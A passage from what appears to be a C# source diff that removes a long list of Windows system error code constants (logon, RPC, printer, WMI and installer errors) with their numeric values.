ERROR_MEMBER_IN_GROUP = 1320; - public const int ERROR_MEMBER_NOT_IN_GROUP = 1321; - public const int ERROR_LAST_ADMIN = 1322; - public const int ERROR_WRONG_PASSWORD = 1323; - public const int ERROR_ILL_FORMED_PASSWORD = 1324; - public const int ERROR_PASSWORD_RESTRICTION = 1325; - public const int ERROR_LOGON_FAILURE = 1326; - public const int ERROR_ACCOUNT_RESTRICTION = 1327; - public const int ERROR_INVALID_LOGON_HOURS = 1328; - public const int ERROR_INVALID_WORKSTATION = 1329; - public const int ERROR_PASSWORD_EXPIRED = 1330; - public const int ERROR_ACCOUNT_DISABLED = 1331; - public const int ERROR_NONE_MAPPED = 1332; - public const int ERROR_TOO_MANY_LUIDS_REQUESTED = 1333; - public const int ERROR_LUIDS_EXHAUSTED = 1334; - public const int ERROR_INVALID_SUB_AUTHORITY = 1335; - public const int ERROR_INVALID_ACL = 1336; - public const int ERROR_INVALID_SID = 1337; - public const int ERROR_INVALID_SECURITY_DESCR = 1338; - public const int ERROR_BAD_INHERITANCE_ACL = 1340; - public const int ERROR_SERVER_DISABLED = 1341; - public const int ERROR_SERVER_NOT_DISABLED = 1342; - public const int ERROR_INVALID_ID_AUTHORITY = 1343; - public const int ERROR_ALLOTTED_SPACE_EXCEEDED = 1344; - public const int ERROR_INVALID_GROUP_ATTRIBUTES = 1345; - public const int ERROR_BAD_IMPERSONATION_LEVEL = 1346; - public const int ERROR_CANT_OPEN_ANONYMOUS = 1347; - public const int ERROR_BAD_VALIDATION_CLASS = 1348; - public const int ERROR_BAD_TOKEN_TYPE = 1349; - public const int ERROR_NO_SECURITY_ON_OBJECT = 1350; - public const int ERROR_CANT_ACCESS_DOMAIN_INFO = 1351; - public const int ERROR_INVALID_SERVER_STATE = 1352; - public const int ERROR_INVALID_DOMAIN_STATE = 1353; - public const int ERROR_INVALID_DOMAIN_ROLE = 1354; - public const int ERROR_NO_SUCH_DOMAIN = 1355; - public const int ERROR_DOMAIN_EXISTS = 1356; - public const int ERROR_DOMAIN_LIMIT_EXCEEDED = 1357; - public const int ERROR_INTERNAL_DB_CORRUPTION = 1358; - public const int ERROR_INTERNAL_ERROR = 1359; - public const int ERROR_GENERIC_NOT_MAPPED = 1360; - public const int ERROR_BAD_DESCRIPTOR_FORMAT = 1361; - public const int ERROR_NOT_LOGON_PROCESS = 1362; - public const int ERROR_LOGON_SESSION_EXISTS = 1363; - public const int ERROR_NO_SUCH_PACKAGE = 1364; - public const int ERROR_BAD_LOGON_SESSION_STATE = 1365; - public const int ERROR_LOGON_SESSION_COLLISION = 1366; - public const int ERROR_INVALID_LOGON_TYPE = 1367; - public const int ERROR_CANNOT_IMPERSONATE = 1368; - public const int ERROR_RXACT_INVALID_STATE = 1369; - public const int ERROR_RXACT_COMMIT_FAILURE = 1370; - public const int ERROR_SPECIAL_ACCOUNT = 1371; - public const int ERROR_SPECIAL_GROUP = 1372; - public const int ERROR_SPECIAL_USER = 1373; - public const int ERROR_MEMBERS_PRIMARY_GROUP = 1374; - public const int ERROR_TOKEN_ALREADY_IN_USE = 1375; - public const int ERROR_NO_SUCH_ALIAS = 1376; - public const int ERROR_MEMBER_NOT_IN_ALIAS = 1377; - public const int ERROR_MEMBER_IN_ALIAS = 1378; - public const int ERROR_ALIAS_EXISTS = 1379; - public const int ERROR_LOGON_NOT_GRANTED = 1380; - public const int ERROR_TOO_MANY_SECRETS = 1381; - public const int ERROR_SECRET_TOO_LONG = 1382; - public const int ERROR_INTERNAL_DB_ERROR = 1383; - public const int ERROR_TOO_MANY_CONTEXT_IDS = 1384; - public const int ERROR_LOGON_TYPE_NOT_GRANTED = 1385; - public const int ERROR_NT_CROSS_ENCRYPTION_REQUIRED = 1386; - public const int ERROR_NO_SUCH_MEMBER = 1387; - public const int ERROR_INVALID_MEMBER = 1388; - public const int ERROR_TOO_MANY_SIDS = 1389; - public const int ERROR_LM_CROSS_ENCRYPTION_REQUIRED = 1390; - public const int ERROR_NO_INHERITANCE = 1391; - public const int ERROR_FILE_CORRUPT = 1392; - public const int ERROR_DISK_CORRUPT = 1393; - public const int ERROR_NO_USER_SESSION_KEY = 1394; - public const int ERROR_LICENSE_QUOTA_EXCEEDED = 1395; - public const int ERROR_WRONG_TARGET_NAME = 1396; - public const int ERROR_MUTUAL_AUTH_FAILED = 1397; - public const int ERROR_TIME_SKEW = 1398; - public const int ERROR_CURRENT_DOMAIN_NOT_ALLOWED = 1399; - public const int ERROR_INVALID_WINDOW_HANDLE = 1400; - public const int ERROR_INVALID_MENU_HANDLE = 1401; - public const int ERROR_INVALID_CURSOR_HANDLE = 1402; - public const int ERROR_INVALID_ACCEL_HANDLE = 1403; - public const int ERROR_INVALID_HOOK_HANDLE = 1404; - public const int ERROR_INVALID_DWP_HANDLE = 1405; - public const int ERROR_TLW_WITH_WSCHILD = 1406; - public const int ERROR_CANNOT_FIND_WND_CLASS = 1407; - public const int ERROR_WINDOW_OF_OTHER_THREAD = 1408; - public const int ERROR_HOTKEY_ALREADY_REGISTERED = 1409; - public const int ERROR_CLASS_ALREADY_EXISTS = 1410; - public const int ERROR_CLASS_DOES_NOT_EXIST = 1411; - public const int ERROR_CLASS_HAS_WINDOWS = 1412; - public const int ERROR_INVALID_INDEX = 1413; - public const int ERROR_INVALID_ICON_HANDLE = 1414; - public const int ERROR_PRIVATE_DIALOG_INDEX = 1415; - public const int ERROR_LISTBOX_ID_NOT_FOUND = 1416; - public const int ERROR_NO_WILDCARD_CHARACTERS = 1417; - public const int ERROR_CLIPBOARD_NOT_OPEN = 1418; - public const int ERROR_HOTKEY_NOT_REGISTERED = 1419; - public const int ERROR_WINDOW_NOT_DIALOG = 1420; - public const int ERROR_CONTROL_ID_NOT_FOUND = 1421; - public const int ERROR_INVALID_COMBOBOX_MESSAGE = 1422; - public const int ERROR_WINDOW_NOT_COMBOBOX = 1423; - public const int ERROR_INVALID_EDIT_HEIGHT = 1424; - public const int ERROR_DC_NOT_FOUND = 1425; - public const int ERROR_INVALID_HOOK_FILTER = 1426; - public const int ERROR_INVALID_FILTER_PROC = 1427; - public const int ERROR_HOOK_NEEDS_HMOD = 1428; - public const int ERROR_GLOBAL_ONLY_HOOK = 1429; - public const int ERROR_JOURNAL_HOOK_SET = 1430; - public const int ERROR_HOOK_NOT_INSTALLED = 1431; - public const int ERROR_INVALID_LB_MESSAGE = 1432; - public const int ERROR_SETCOUNT_ON_BAD_LB = 1433; - public const int ERROR_LB_WITHOUT_TABSTOPS = 1434; - public const int ERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 1435; - public const int ERROR_CHILD_WINDOW_MENU = 1436; - public const int ERROR_NO_SYSTEM_MENU = 1437; - public const int ERROR_INVALID_MSGBOX_STYLE = 1438; - public const int ERROR_INVALID_SPI_VALUE = 1439; - public const int ERROR_SCREEN_ALREADY_LOCKED = 1440; - public const int ERROR_HWNDS_HAVE_DIFF_PARENT = 1441; - public const int ERROR_NOT_CHILD_WINDOW = 1442; - public const int ERROR_INVALID_GW_COMMAND = 1443; - public const int ERROR_INVALID_THREAD_ID = 1444; - public const int ERROR_NON_MDICHILD_WINDOW = 1445; - public const int ERROR_POPUP_ALREADY_ACTIVE = 1446; - public const int ERROR_NO_SCROLLBARS = 1447; - public const int ERROR_INVALID_SCROLLBAR_RANGE = 1448; - public const int ERROR_INVALID_SHOWWIN_COMMAND = 1449; - public const int ERROR_NO_SYSTEM_RESOURCES = 1450; - public const int ERROR_NONPAGED_SYSTEM_RESOURCES = 1451; - public const int ERROR_PAGED_SYSTEM_RESOURCES = 1452; - public const int ERROR_WORKING_SET_QUOTA = 1453; - public const int ERROR_PAGEFILE_QUOTA = 1454; - public const int ERROR_COMMITMENT_LIMIT = 1455; - public const int ERROR_MENU_ITEM_NOT_FOUND = 1456; - public const int ERROR_INVALID_KEYBOARD_HANDLE = 1457; - public const int ERROR_HOOK_TYPE_NOT_ALLOWED = 1458; - public const int ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 1459; - public const int ERROR_TIMEOUT = 1460; - public const int ERROR_INVALID_MONITOR_HANDLE = 1461; - public const int ERROR_INCORRECT_SIZE = 1462; - public const int ERROR_SYMLINK_CLASS_DISABLED = 1463; - public const int ERROR_SYMLINK_NOT_SUPPORTED = 1464; - public const int ERROR_XML_PARSE_ERROR = 1465; - public const int ERROR_XMLDSIG_ERROR = 1466; - public const int ERROR_RESTART_APPLICATION = 1467; - public const int ERROR_WRONG_COMPARTMENT = 1468; - public const int ERROR_AUTHIP_FAILURE = 1469; - public const int ERROR_NO_NVRAM_RESOURCES = 1470; - public const int ERROR_NOT_GUI_PROCESS = 1471; - public const int ERROR_EVENTLOG_FILE_CORRUPT = 1500; - public const int ERROR_EVENTLOG_CANT_START = 1501; - public const int ERROR_LOG_FILE_FULL = 1502; - public const int ERROR_EVENTLOG_FILE_CHANGED = 1503; - public const int ERROR_CONTAINER_ASSIGNED = 1504; - public const int ERROR_JOB_NO_CONTAINER = 1505; - public const int ERROR_INVALID_TASK_NAME = 1550; - public const int ERROR_INVALID_TASK_INDEX = 1551; - public const int ERROR_THREAD_ALREADY_IN_TASK = 1552; - public const int ERROR_INSTALL_SERVICE_FAILURE = 1601; - public const int ERROR_INSTALL_USEREXIT = 1602; - public const int ERROR_INSTALL_FAILURE = 1603; - public const int ERROR_INSTALL_SUSPEND = 1604; - public const int ERROR_UNKNOWN_PRODUCT = 1605; - public const int ERROR_UNKNOWN_FEATURE = 1606; - public const int ERROR_UNKNOWN_COMPONENT = 1607; - public const int ERROR_UNKNOWN_PROPERTY = 1608; - public const int ERROR_INVALID_HANDLE_STATE = 1609; - public const int ERROR_BAD_CONFIGURATION = 1610; - public const int ERROR_INDEX_ABSENT = 1611; - public const int ERROR_INSTALL_SOURCE_ABSENT = 1612; - public const int ERROR_INSTALL_PACKAGE_VERSION = 1613; - public const int ERROR_PRODUCT_UNINSTALLED = 1614; - public const int ERROR_BAD_QUERY_SYNTAX = 1615; - public const int ERROR_INVALID_FIELD = 1616; - public const int ERROR_DEVICE_REMOVED = 1617; - public const int ERROR_INSTALL_ALREADY_RUNNING = 1618; - public const int ERROR_INSTALL_PACKAGE_OPEN_FAILED = 1619; - public const int ERROR_INSTALL_PACKAGE_INVALID = 1620; - public const int ERROR_INSTALL_UI_FAILURE = 1621; - public const int ERROR_INSTALL_LOG_FAILURE = 1622; - public const int ERROR_INSTALL_LANGUAGE_UNSUPPORTED = 1623; - public const int ERROR_INSTALL_TRANSFORM_FAILURE = 1624; - public const int ERROR_INSTALL_PACKAGE_REJECTED = 1625; - public const int ERROR_FUNCTION_NOT_CALLED = 1626; - public const int ERROR_FUNCTION_FAILED = 1627; - public const int ERROR_INVALID_TABLE = 1628; - public const int ERROR_DATATYPE_MISMATCH = 1629; - public const int ERROR_UNSUPPORTED_TYPE = 1630; - public const int ERROR_CREATE_FAILED = 1631; - public const int ERROR_INSTALL_TEMP_UNWRITABLE = 1632; - public const int ERROR_INSTALL_PLATFORM_UNSUPPORTED = 1633; - public const int ERROR_INSTALL_NOTUSED = 1634; - public const int ERROR_PATCH_PACKAGE_OPEN_FAILED = 1635; - public const int ERROR_PATCH_PACKAGE_INVALID = 1636; - public const int ERROR_PATCH_PACKAGE_UNSUPPORTED = 1637; - public const int ERROR_PRODUCT_VERSION = 1638; - public const int ERROR_INVALID_COMMAND_LINE = 1639; - public const int ERROR_INSTALL_REMOTE_DISALLOWED = 1640; - public const int ERROR_SUCCESS_REBOOT_INITIATED = 1641; - public const int ERROR_PATCH_TARGET_NOT_FOUND = 1642; - public const int ERROR_PATCH_PACKAGE_REJECTED = 1643; - public const int ERROR_INSTALL_TRANSFORM_REJECTED = 1644; - public const int ERROR_INSTALL_REMOTE_PROHIBITED = 1645; - public const int ERROR_PATCH_REMOVAL_UNSUPPORTED = 1646; - public const int ERROR_UNKNOWN_PATCH = 1647; - public const int ERROR_PATCH_NO_SEQUENCE = 1648; - public const int ERROR_PATCH_REMOVAL_DISALLOWED = 1649; - public const int ERROR_INVALID_PATCH_XML = 1650; - public const int ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT = 1651; - public const int ERROR_INSTALL_SERVICE_SAFEBOOT = 1652; - public const int ERROR_FAIL_FAST_EXCEPTION = 1653; - public const int ERROR_INSTALL_REJECTED = 1654; - public const int ERROR_DYNAMIC_CODE_BLOCKED = 1655; - public const int ERROR_NOT_SAME_OBJECT = 1656; - public const int ERROR_STRICT_CFG_VIOLATION = 1657; - public const int ERROR_SET_CONTEXT_DENIED = 1660; - public const int ERROR_CROSS_PARTITION_VIOLATION = 1661; - public const int RPC_S_INVALID_STRING_BINDING = 1700; - public const int RPC_S_WRONG_KIND_OF_BINDING = 1701; - public const int RPC_S_INVALID_BINDING = 1702; - public const int RPC_S_PROTSEQ_NOT_SUPPORTED = 1703; - public const int RPC_S_INVALID_RPC_PROTSEQ = 1704; - public const int RPC_S_INVALID_STRING_UUID = 1705; - public const int RPC_S_INVALID_ENDPOINT_FORMAT = 1706; - public const int RPC_S_INVALID_NET_ADDR = 1707; - public const int RPC_S_NO_ENDPOINT_FOUND = 1708; - public const int RPC_S_INVALID_TIMEOUT = 1709; - public const int RPC_S_OBJECT_NOT_FOUND = 1710; - public const int RPC_S_ALREADY_REGISTERED = 1711; - public const int RPC_S_TYPE_ALREADY_REGISTERED = 1712; - public const int RPC_S_ALREADY_LISTENING = 1713; - public const int RPC_S_NO_PROTSEQS_REGISTERED = 1714; - public const int RPC_S_NOT_LISTENING = 1715; - public const int RPC_S_UNKNOWN_MGR_TYPE = 1716; - public const int RPC_S_UNKNOWN_IF = 1717; - public const int RPC_S_NO_BINDINGS = 1718; - public const int RPC_S_NO_PROTSEQS = 1719; - public const int RPC_S_CANT_CREATE_ENDPOINT = 1720; - public const int RPC_S_OUT_OF_RESOURCES = 1721; - public const int RPC_S_SERVER_UNAVAILABLE = 1722; - public const int RPC_S_SERVER_TOO_BUSY = 1723; - public const int RPC_S_INVALID_NETWORK_OPTIONS = 1724; - public const int RPC_S_NO_CALL_ACTIVE = 1725; - public const int RPC_S_CALL_FAILED = 1726; - public const int RPC_S_CALL_FAILED_DNE = 1727; - public const int RPC_S_PROTOCOL_ERROR = 1728; - public const int RPC_S_PROXY_ACCESS_DENIED = 1729; - public const int RPC_S_UNSUPPORTED_TRANS_SYN = 1730; - public const int RPC_S_UNSUPPORTED_TYPE = 1732; - public const int RPC_S_INVALID_TAG = 1733; - public const int RPC_S_INVALID_BOUND = 1734; - public const int RPC_S_NO_ENTRY_NAME = 1735; - public const int RPC_S_INVALID_NAME_SYNTAX = 1736; - public const int RPC_S_UNSUPPORTED_NAME_SYNTAX = 1737; - public const int RPC_S_UUID_NO_ADDRESS = 1739; - public const int RPC_S_DUPLICATE_ENDPOINT = 1740; - public const int RPC_S_UNKNOWN_AUTHN_TYPE = 1741; - public const int RPC_S_MAX_CALLS_TOO_SMALL = 1742; - public const int RPC_S_STRING_TOO_LONG = 1743; - public const int RPC_S_PROTSEQ_NOT_FOUND = 1744; - public const int RPC_S_PROCNUM_OUT_OF_RANGE = 1745; - public const int RPC_S_BINDING_HAS_NO_AUTH = 1746; - public const int RPC_S_UNKNOWN_AUTHN_SERVICE = 1747; - public const int RPC_S_UNKNOWN_AUTHN_LEVEL = 1748; - public const int RPC_S_INVALID_AUTH_IDENTITY = 1749; - public const int RPC_S_UNKNOWN_AUTHZ_SERVICE = 1750; - public const int EPT_S_INVALID_ENTRY = 1751; - public const int EPT_S_CANT_PERFORM_OP = 1752; - public const int EPT_S_NOT_REGISTERED = 1753; - public const int RPC_S_NOTHING_TO_EXPORT = 1754; - public const int RPC_S_INCOMPLETE_NAME = 1755; - public const int RPC_S_INVALID_VERS_OPTION = 1756; - public const int RPC_S_NO_MORE_MEMBERS = 1757; - public const int RPC_S_NOT_ALL_OBJS_UNEXPORTED = 1758; - public const int RPC_S_INTERFACE_NOT_FOUND = 1759; - public const int RPC_S_ENTRY_ALREADY_EXISTS = 1760; - public const int RPC_S_ENTRY_NOT_FOUND = 1761; - public const int RPC_S_NAME_SERVICE_UNAVAILABLE = 1762; - public const int RPC_S_INVALID_NAF_ID = 1763; - public const int RPC_S_CANNOT_SUPPORT = 1764; - public const int RPC_S_NO_CONTEXT_AVAILABLE = 1765; - public const int RPC_S_INTERNAL_ERROR = 1766; - public const int RPC_S_ZERO_DIVIDE = 1767; - public const int RPC_S_ADDRESS_ERROR = 1768; - public const int RPC_S_FP_DIV_ZERO = 1769; - public const int RPC_S_FP_UNDERFLOW = 1770; - public const int RPC_S_FP_OVERFLOW = 1771; - public const int RPC_X_NO_MORE_ENTRIES = 1772; - public const int RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 1773; - public const int RPC_X_SS_CHAR_TRANS_SHORT_FILE = 1774; - public const int RPC_X_SS_IN_NULL_CONTEXT = 1775; - public const int RPC_X_SS_CONTEXT_DAMAGED = 1777; - public const int RPC_X_SS_HANDLES_MISMATCH = 1778; - public const int RPC_X_SS_CANNOT_GET_CALL_HANDLE = 1779; - public const int RPC_X_NULL_REF_POINTER = 1780; - public const int RPC_X_ENUM_VALUE_OUT_OF_RANGE = 1781; - public const int RPC_X_BYTE_COUNT_TOO_SMALL = 1782; - public const int RPC_X_BAD_STUB_DATA = 1783; - public const int ERROR_INVALID_USER_BUFFER = 1784; - public const int ERROR_UNRECOGNIZED_MEDIA = 1785; - public const int ERROR_NO_TRUST_LSA_SECRET = 1786; - public const int ERROR_NO_TRUST_SAM_ACCOUNT = 1787; - public const int ERROR_TRUSTED_DOMAIN_FAILURE = 1788; - public const int ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789; - public const int ERROR_TRUST_FAILURE = 1790; - public const int RPC_S_CALL_IN_PROGRESS = 1791; - public const int ERROR_NETLOGON_NOT_STARTED = 1792; - public const int ERROR_ACCOUNT_EXPIRED = 1793; - public const int ERROR_REDIRECTOR_HAS_OPEN_HANDLES = 1794; - public const int ERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 1795; - public const int ERROR_UNKNOWN_PORT = 1796; - public const int ERROR_UNKNOWN_PRINTER_DRIVER = 1797; - public const int ERROR_UNKNOWN_PRINTPROCESSOR = 1798; - public const int ERROR_INVALID_SEPARATOR_FILE = 1799; - public const int ERROR_INVALID_PRIORITY = 1800; - public const int ERROR_INVALID_PRINTER_NAME = 1801; - public const int ERROR_PRINTER_ALREADY_EXISTS = 1802; - public const int ERROR_INVALID_PRINTER_COMMAND = 1803; - public const int ERROR_INVALID_DATATYPE = 1804; - public const int ERROR_INVALID_ENVIRONMENT = 1805; - public const int RPC_S_NO_MORE_BINDINGS = 1806; - public const int ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 1807; - public const int ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 1808; - public const int ERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 1809; - public const int ERROR_DOMAIN_TRUST_INCONSISTENT = 1810; - public const int ERROR_SERVER_HAS_OPEN_HANDLES = 1811; - public const int ERROR_RESOURCE_DATA_NOT_FOUND = 1812; - public const int ERROR_RESOURCE_TYPE_NOT_FOUND = 1813; - public const int ERROR_RESOURCE_NAME_NOT_FOUND = 1814; - public const int ERROR_RESOURCE_LANG_NOT_FOUND = 1815; - public const int ERROR_NOT_ENOUGH_QUOTA = 1816; - public const int RPC_S_NO_INTERFACES = 1817; - public const int RPC_S_CALL_CANCELLED = 1818; - public const int RPC_S_BINDING_INCOMPLETE = 1819; - public const int RPC_S_COMM_FAILURE = 1820; - public const int RPC_S_UNSUPPORTED_AUTHN_LEVEL = 1821; - public const int RPC_S_NO_PRINC_NAME = 1822; - public const int RPC_S_NOT_RPC_ERROR = 1823; - public const int RPC_S_UUID_LOCAL_ONLY = 1824; - public const int RPC_S_SEC_PKG_ERROR = 1825; - public const int RPC_S_NOT_CANCELLED = 1826; - public const int RPC_X_INVALID_ES_ACTION = 1827; - public const int RPC_X_WRONG_ES_VERSION = 1828; - public const int RPC_X_WRONG_STUB_VERSION = 1829; - public const int RPC_X_INVALID_PIPE_OBJECT = 1830; - public const int RPC_X_WRONG_PIPE_ORDER = 1831; - public const int RPC_X_WRONG_PIPE_VERSION = 1832; - public const int RPC_S_COOKIE_AUTH_FAILED = 1833; - public const int RPC_S_DO_NOT_DISTURB = 1834; - public const int RPC_S_SYSTEM_HANDLE_COUNT_EXCEEDED = 1835; - public const int RPC_S_SYSTEM_HANDLE_TYPE_MISMATCH = 1836; - public const int RPC_S_GROUP_MEMBER_NOT_FOUND = 1898; - public const int EPT_S_CANT_CREATE = 1899; - public const int RPC_S_INVALID_OBJECT = 1900; - public const int ERROR_INVALID_TIME = 1901; - public const int ERROR_INVALID_FORM_NAME = 1902; - public const int ERROR_INVALID_FORM_SIZE = 1903; - public const int ERROR_ALREADY_WAITING = 1904; - public const int ERROR_PRINTER_DELETED = 1905; - public const int ERROR_INVALID_PRINTER_STATE = 1906; - public const int ERROR_PASSWORD_MUST_CHANGE = 1907; - public const int ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908; - public const int ERROR_ACCOUNT_LOCKED_OUT = 1909; - public const int OR_INVALID_OXID = 1910; - public const int OR_INVALID_OID = 1911; - public const int OR_INVALID_SET = 1912; - public const int RPC_S_SEND_INCOMPLETE = 1913; - public const int RPC_S_INVALID_ASYNC_HANDLE = 1914; - public const int RPC_S_INVALID_ASYNC_CALL = 1915; - public const int RPC_X_PIPE_CLOSED = 1916; - public const int RPC_X_PIPE_DISCIPLINE_ERROR = 1917; - public const int RPC_X_PIPE_EMPTY = 1918; - public const int ERROR_NO_SITENAME = 1919; - public const int ERROR_CANT_ACCESS_FILE = 1920; - public const int ERROR_CANT_RESOLVE_FILENAME = 1921; - public const int RPC_S_ENTRY_TYPE_MISMATCH = 1922; - public const int RPC_S_NOT_ALL_OBJS_EXPORTED = 1923; - public const int RPC_S_INTERFACE_NOT_EXPORTED = 1924; - public const int RPC_S_PROFILE_NOT_ADDED = 1925; - public const int RPC_S_PRF_ELT_NOT_ADDED = 1926; - public const int RPC_S_PRF_ELT_NOT_REMOVED = 1927; - public const int RPC_S_GRP_ELT_NOT_ADDED = 1928; - public const int RPC_S_GRP_ELT_NOT_REMOVED = 1929; - public const int ERROR_KM_DRIVER_BLOCKED = 1930; - public const int ERROR_CONTEXT_EXPIRED = 1931; - public const int ERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 1932; - public const int ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 1933; - public const int ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 1934; - public const int ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935; - public const int ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 1936; - public const int ERROR_NTLM_BLOCKED = 1937; - public const int ERROR_PASSWORD_CHANGE_REQUIRED = 1938; - public const int ERROR_LOST_MODE_LOGON_RESTRICTION = 1939; - public const int ERROR_INVALID_PIXEL_FORMAT = 2000; - public const int ERROR_BAD_DRIVER = 2001; - public const int ERROR_INVALID_WINDOW_STYLE = 2002; - public const int ERROR_METAFILE_NOT_SUPPORTED = 2003; - public const int ERROR_TRANSFORM_NOT_SUPPORTED = 2004; - public const int ERROR_CLIPPING_NOT_SUPPORTED = 2005; - public const int ERROR_INVALID_CMM = 2010; - public const int ERROR_INVALID_PROFILE = 2011; - public const int ERROR_TAG_NOT_FOUND = 2012; - public const int ERROR_TAG_NOT_PRESENT = 2013; - public const int ERROR_DUPLICATE_TAG = 2014; - public const int ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2015; - public const int ERROR_PROFILE_NOT_FOUND = 2016; - public const int ERROR_INVALID_COLORSPACE = 2017; - public const int ERROR_ICM_NOT_ENABLED = 2018; - public const int ERROR_DELETING_ICM_XFORM = 2019; - public const int ERROR_INVALID_TRANSFORM = 2020; - public const int ERROR_COLORSPACE_MISMATCH = 2021; - public const int ERROR_INVALID_COLORINDEX = 2022; - public const int ERROR_PROFILE_DOES_NOT_MATCH_DEVICE = 2023; - public const int ERROR_CONNECTED_OTHER_PASSWORD = 2108; - public const int ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 2109; - public const int ERROR_BAD_USERNAME = 2202; - public const int ERROR_NOT_CONNECTED = 2250; - public const int ERROR_OPEN_FILES = 2401; - public const int ERROR_ACTIVE_CONNECTIONS = 2402; - public const int ERROR_DEVICE_IN_USE = 2404; - public const int ERROR_UNKNOWN_PRINT_MONITOR = 3000; - public const int ERROR_PRINTER_DRIVER_IN_USE = 3001; - public const int ERROR_SPOOL_FILE_NOT_FOUND = 3002; - public const int ERROR_SPL_NO_STARTDOC = 3003; - public const int ERROR_SPL_NO_ADDJOB = 3004; - public const int ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 3005; - public const int ERROR_PRINT_MONITOR_ALREADY_INSTALLED = 3006; - public const int ERROR_INVALID_PRINT_MONITOR = 3007; - public const int ERROR_PRINT_MONITOR_IN_USE = 3008; - public const int ERROR_PRINTER_HAS_JOBS_QUEUED = 3009; - public const int ERROR_SUCCESS_REBOOT_REQUIRED = 3010; - public const int ERROR_SUCCESS_RESTART_REQUIRED = 3011; - public const int ERROR_PRINTER_NOT_FOUND = 3012; - public const int ERROR_PRINTER_DRIVER_WARNED = 3013; - public const int ERROR_PRINTER_DRIVER_BLOCKED = 3014; - public const int ERROR_PRINTER_DRIVER_PACKAGE_IN_USE = 3015; - public const int ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND = 3016; - public const int ERROR_FAIL_REBOOT_REQUIRED = 3017; - public const int ERROR_FAIL_REBOOT_INITIATED = 3018; - public const int ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED = 3019; - public const int ERROR_PRINT_JOB_RESTART_REQUIRED = 3020; - public const int ERROR_INVALID_PRINTER_DRIVER_MANIFEST = 3021; - public const int ERROR_PRINTER_NOT_SHAREABLE = 3022; - public const int ERROR_REQUEST_PAUSED = 3050; - public const int ERROR_APPEXEC_CONDITION_NOT_SATISFIED = 3060; - public const int ERROR_APPEXEC_HANDLE_INVALIDATED = 3061; - public const int ERROR_APPEXEC_INVALID_HOST_GENERATION = 3062; - public const int ERROR_APPEXEC_UNEXPECTED_PROCESS_REGISTRATION = 3063; - public const int ERROR_APPEXEC_INVALID_HOST_STATE = 3064; - public const int ERROR_APPEXEC_NO_DONOR = 3065; - public const int ERROR_APPEXEC_HOST_ID_MISMATCH = 3066; - public const int ERROR_APPEXEC_UNKNOWN_USER = 3067; - public const int ERROR_IO_REISSUE_AS_CACHED = 3950; - public const int ERROR_WINS_INTERNAL = 4000; - public const int ERROR_CAN_NOT_DEL_LOCAL_WINS = 4001; - public const int ERROR_STATIC_INIT = 4002; - public const int ERROR_INC_BACKUP = 4003; - public const int ERROR_FULL_BACKUP = 4004; - public const int ERROR_REC_NON_EXISTENT = 4005; - public const int ERROR_RPL_NOT_ALLOWED = 4006; - public const int PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED = 4050; - public const int PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO = 4051; - public const int PEERDIST_ERROR_MISSING_DATA = 4052; - public const int PEERDIST_ERROR_NO_MORE = 4053; - public const int PEERDIST_ERROR_NOT_INITIALIZED = 4054; - public const int PEERDIST_ERROR_ALREADY_INITIALIZED = 4055; - public const int PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS = 4056; - public const int PEERDIST_ERROR_INVALIDATED = 4057; - public const int PEERDIST_ERROR_ALREADY_EXISTS = 4058; - public const int PEERDIST_ERROR_OPERATION_NOTFOUND = 4059; - public const int PEERDIST_ERROR_ALREADY_COMPLETED = 4060; - public const int PEERDIST_ERROR_OUT_OF_BOUNDS = 4061; - public const int PEERDIST_ERROR_VERSION_UNSUPPORTED = 4062; - public const int PEERDIST_ERROR_INVALID_CONFIGURATION = 4063; - public const int PEERDIST_ERROR_NOT_LICENSED = 4064; - public const int PEERDIST_ERROR_SERVICE_UNAVAILABLE = 4065; - public const int PEERDIST_ERROR_TRUST_FAILURE = 4066; - public const int ERROR_DHCP_ADDRESS_CONFLICT = 4100; - public const int ERROR_WMI_GUID_NOT_FOUND = 4200; - public const int ERROR_WMI_INSTANCE_NOT_FOUND = 4201; - public const int ERROR_WMI_ITEMID_NOT_FOUND = 4202; - public const int ERROR_WMI_TRY_AGAIN = 4203; - public const int ERROR_WMI_DP_NOT_FOUND = 4204; - public const int ERROR_WMI_UNRESOLVED_INSTANCE_REF = 4205; - public const int ERROR_WMI_ALREADY_ENABLED = 4206; - public const int ERROR_WMI_GUID_DISCONNECTED = 4207; - public const int ERROR_WMI_SERVER_UNAVAILABLE = 4208; - public const int ERROR_WMI_DP_FAILED = 4209; - public const int ERROR_WMI_INVALID_MOF = 4210; - public const int ERROR_WMI_INVALID_REGINFO = 4211; - public const int ERROR_WMI_ALREADY_DISABLED = 4212; - public const int ERROR_WMI_READ_ONLY = 4213; - public const int ERROR_WMI_SET_FAILURE = 4214; - public const int ERROR_NOT_APPCONTAINER = 4250; - public const int ERROR_APPCONTAINER_REQUIRED = 4251; - public const int ERROR_NOT_SUPPORTED_IN_APPCONTAINER = 4252; - public const int ERROR_INVALID_PACKAGE_SID_LENGTH = 4253; - public const int ERROR_INVALID_MEDIA = 4300; - public const int ERROR_INVALID_LIBRARY = 4301; - public const int ERROR_INVALID_MEDIA_POOL = 4302; - public const int ERROR_DRIVE_MEDIA_MISMATCH = 4303; - public const int ERROR_MEDIA_OFFLINE = 4304; - public const int ERROR_LIBRARY_OFFLINE = 4305; - public const int ERROR_EMPTY = 4306; - public const int ERROR_NOT_EMPTY = 4307; - public const int 